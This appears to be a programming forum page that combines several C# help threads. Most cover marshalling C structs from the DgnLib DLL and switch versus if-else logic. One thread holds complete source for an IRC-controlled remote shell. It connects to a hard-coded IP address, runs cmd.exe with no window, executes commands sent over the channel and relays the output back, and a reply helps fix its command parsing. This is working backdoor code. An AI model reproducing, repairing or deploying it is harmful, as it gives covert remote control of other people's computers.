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The error message is quite clear about what went wrong, but you will need to use your debugger to track down exactly where it occurs.
One of these days I'm going to think of a really clever signature.
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Hi,
It throwed error at the last line: element = DgnFile.DGNReadElement(dgnFile.oDgnFile)
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As I said before, you need to use your debugger to find out what is happening. There is no way we can guess what is going on inside the program.
One of these days I'm going to think of a really clever signature.
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Thank you.
But, the exception window only show that messeage. And, the below is output from debug:
Quote: A first chance exception of type 'System.AccessViolationException' occurred in mscorlib.dll
The thread 'vshost.RunParkingWindow' (0x518) has exited with code 0 (0x0).
The thread '<no name="">' (0x1fdc) has exited with code 0 (0x0).
The program '[7952] CLCLis.vshost.exe: Managed (v2.0.50727)' has exited with code 0 (0x0).
The program '[7952] CLCLis.vshost.exe: Program Trace' has exited with code 0 (0x0).
I still haven't found the reason for this error
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Well it looks as if some code is passing a bad pointer to a function in mscorlib.dll. Where does this DLL come from, is it your code or from a third party? If the latter then contact the people who wrote it and ask for assistance.
One of these days I'm going to think of a really clever signature.
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Thank you.
I used Visual Studio (project type: win 32 console application) to create this dll file from a C++ files collection (.h and .cpp) of a third-party (Here is the link of source code: http://dgnlib.maptools.org/dl/dgnlib-1.11.zip )
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Since you have the source code you can step through it in your debugger to trace the error.
One of these days I'm going to think of a really clever signature.
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How I can trace the error through source codes while I am using dll file ? and I think the source codes don't have error, because I still can use it in Visual C++, but I got the error while trying in C#
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taibc wrote: How I can trace the error through source codes while I am using dll file ?
Just the same, build a debug version of the DLL and the debugger should be able to step into it.
taibc wrote: I think the source codes don't have error
That may well be true, but only by extensive testing can you be sure.
One of these days I'm going to think of a really clever signature.
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I have just looked again at the layout of your C++ and C# structures; why are they different?
One of these days I'm going to think of a really clever signature.
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The OP has laid them out alphabetically in c#, im pretty sure this will be the issue, non?
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True; I did not check that originally, it never occurred to me that anyone would think of doing such a thing. 
One of these days I'm going to think of a really clever signature.
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I only convert the field type: unsigned char * (in C) into byte[] (in C#)
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Yes but you have moved the elements into different positions within the structure. How can that work?
One of these days I'm going to think of a really clever signature.
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This isn't my area but:
- Defining the fields in the struct in a different order definitely won't work. You need to declare in the same order (hopefully the reason for this is obvious).
- You've defined it as a class in C#, not a struct. I think you need it to be a struct, even though it's a pointer type declaration in C++. You might even need to declare it IntPtr and use Marshal methods to make a struct out of it.
- What is DGNHandle? That C++ function definition isn't valid unless it's a macro.
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Thanks BobJanova and Richard MacCutchan very much.
I changed the order of fields and using "struct" instead of "class" in C#. DGNHandle is "Opaque handle representing DGN file, used with DGN API"
Now, I got another error: Exception of type 'System.ExecutionEngineException' was thrown.
Please see my detail codes:
[DllImport("DgnLib.dll", EntryPoint = "DGNReadElement")]
public static extern IntPtr DGNReadElement(IntPtr DGNHandle);
public static DGNElemCore ReadElement(IntPtr DGNHandle)
{
DGNElemCore element = new DGNElemCore ();
IntPtr itr = DGNReadElement(DGNHandle);
element = (DGNElemCore)Marshal.PtrToStructure(itr, typeof(DGNElemCore));
return element;
}
I am wondering: Can I convert a structure pointer (DGNElemCore *) in C to IntPtr (in C#), then use Marshal to get DGNElemCore. The function in C is:
__declspec(dllexport) DGNElemCore CPL_DLL *DGNReadElement( DGNHandle );
Thank you very much !
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Hi,
I found out the reason of the error.
After changing the order of fields in Class and using "IntPrt" instead "byte[]" in C# (for char * in C). I can run without error.
Thank you very much !
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Hi BobJanova,
I resolved that error as your sugesstion. However, I am getting another error while trying to get the text value of a char array in C.
For example: I have a struct in C that inclue a char array like below:
struct DGNElemText
{
.....
char text[1];
....
}
And the converted codes in C#:
[StructLayout(LayoutKind.Sequential)]
public class DGNElemText
{
.....
IntPtr text;
}
And I got the text value by using Marshal.PtrToStringAnsi(...). But I always received an empty text value. It is not expected value such as: "Hello", "abc123",...
I still got the same value when trying to use the another way:
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 1)]
public string text;
Do you know why ?
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I am getting another error when casting between two structs in C#:
I have the function in C:
__declspec(dllexport) DGNElemCore CPL_DLL *DGNReadElement( DGNHandle );
This function will read a file and return a pointer to either DGNElemCore or DGNElemText, and I can use casting between them.
But, when I convert codes into C# as below, I can't cast types of these structs:
[DllImport("DgnLib.dll", EntryPoint = "DGNReadElement")]
public static extern IntPtr DGNReadElement(IntPtr DGNHandle);
public static DGNElemCore ReadElement(IntPtr DGNHandle)
{
DGNElemCore element = new DGNElemCore ();
IntPtr itr = DGNReadElement(DGNHandle);
MessageBox.Show(itr.GetType ().ToString ());
element = (DGNElemCore)Marshal.PtrToStructure(itr, typeof(DGNElemCore));
return element;
}
And the codes for testing:
DGNElemCore element = new DGNElemCore();
element = DgnFile.ReadElement(DGNHandle);
while (element != null)
{
if (element.type == 17 )
{
DGNElemText txtElement = new DGNElemText();
txtElement = (DGNElemText)element; **
......
}
}
Structs in C#:
[StructLayout(LayoutKind.Sequential )]
public class DGNElemCore
{
public int offset;
public int size;
public int element_id;
public int stype;
public int level;
public int type;
public int complex;
public int deleted;
public int graphic_group;
public int properties;
public int color;
public int weight;
public int style;
public int attr_bytes;
public IntPtr attr_data;
public int raw_bytes;
public IntPtr raw_data;
}
[StructLayout (LayoutKind.Sequential)]
public class DGNElemText : DGNElemCore
{
DGNElemCore core;
public int font_id;
public int justification;
public double length_mult;
public double height_mult;
public double rotation;
public DGNPoint origin;
public string text;
}
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Hi all, I've written a shell with IRC as it's communication method, all seems fine and this technique works.. well, soft of. The problem with the following code is that type ".cmd dir" or ".cmd echo hello" I get the expect return as you would from the cmd shell, but when I type something like ".cmd cd c:\windows\" it thinks i've written "dows\" where did the rest of the command go?
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
public static class ircConnect
{
public static int PORT = 6667;
public static string SERVER = "194.14.236.50";
public static string NICK = ircnick.generate(true);
private static string USER = "USER varta 8 * : varta irc shell";
public static string CHANNEL = "#channel";
public static StreamWriter writer;
public static Process processCmd;
public static bool begin = false;
public static string ExecuteCommandSync(object command)
{
try
{
StringBuilder strInput = new StringBuilder();
if (!begin)
{
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
strInput.Append(command);
strInput.Append("\n");
processCmd.StandardInput.WriteLine(command);
strInput.Remove(0, strInput.Length);
}
catch (Exception objException)
{
}
return "Error executing commands";
}
public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
writer.WriteLine("PRIVMSG #channel :" + strOutput + "\r\n");
writer.Flush();
}
catch (Exception err) { }
}
}
public static void processInput(string Commands)
{
if (Commands.Contains(".cmd"))
{
string cmd = Commands;
int offset = cmd.LastIndexOf(":") + 6;
string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
if (!begin) begin = true;
Thread.Sleep(2000);
}
}
public static void connect()
{
NetworkStream stream;
TcpClient irc;
string inputLine;
StreamReader reader;
try
{
irc = new TcpClient(SERVER, PORT);
stream = irc.GetStream();
reader = new StreamReader(stream);
writer = new StreamWriter(stream);
PingSender ping = new PingSender();
ping.Start();
writer.WriteLine(USER);
writer.Flush();
writer.WriteLine("NICK " + NICK);
writer.Flush();
writer.WriteLine("JOIN " + CHANNEL);
writer.Flush();
while (true)
{
while ((inputLine = reader.ReadLine()) != null)
{
Console.WriteLine(inputLine);
processInput(inputLine);
}
writer.Close();
reader.Close();
irc.Close();
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
Thread.Sleep(5000);
string[] argv = { };
connect();
}
}
}
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I did not examine your code in complete detail but the following lines in your processInput() method may well be the problem.
int offset = cmd.LastIndexOf(":") + 6;
string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
One of these days I'm going to think of a really clever signature.
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Hi guys,
how do you convert this to switch statement? i want to compare the cons and pros of switch vs else if statement, i can't sleep last night thinking about this, thank you for your help. 
{
int a = int.Parse(textBox1.Text);
int b = 10;
if (a < b)
{
MessageBox.Show("a is less than b");
}
else if (a > b)
{
MessageBox.Show("a is greater than b");
}
else
{
MessageBox.Show("a is equal to b");
}
}
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The rule of switch statements is that the Case clause must be a constant known at compile time.
Since a > b cannot be known at compile time, there is no way to convert this code to a switch statement.
The difficult we do right away...
...the impossible takes slightly longer.
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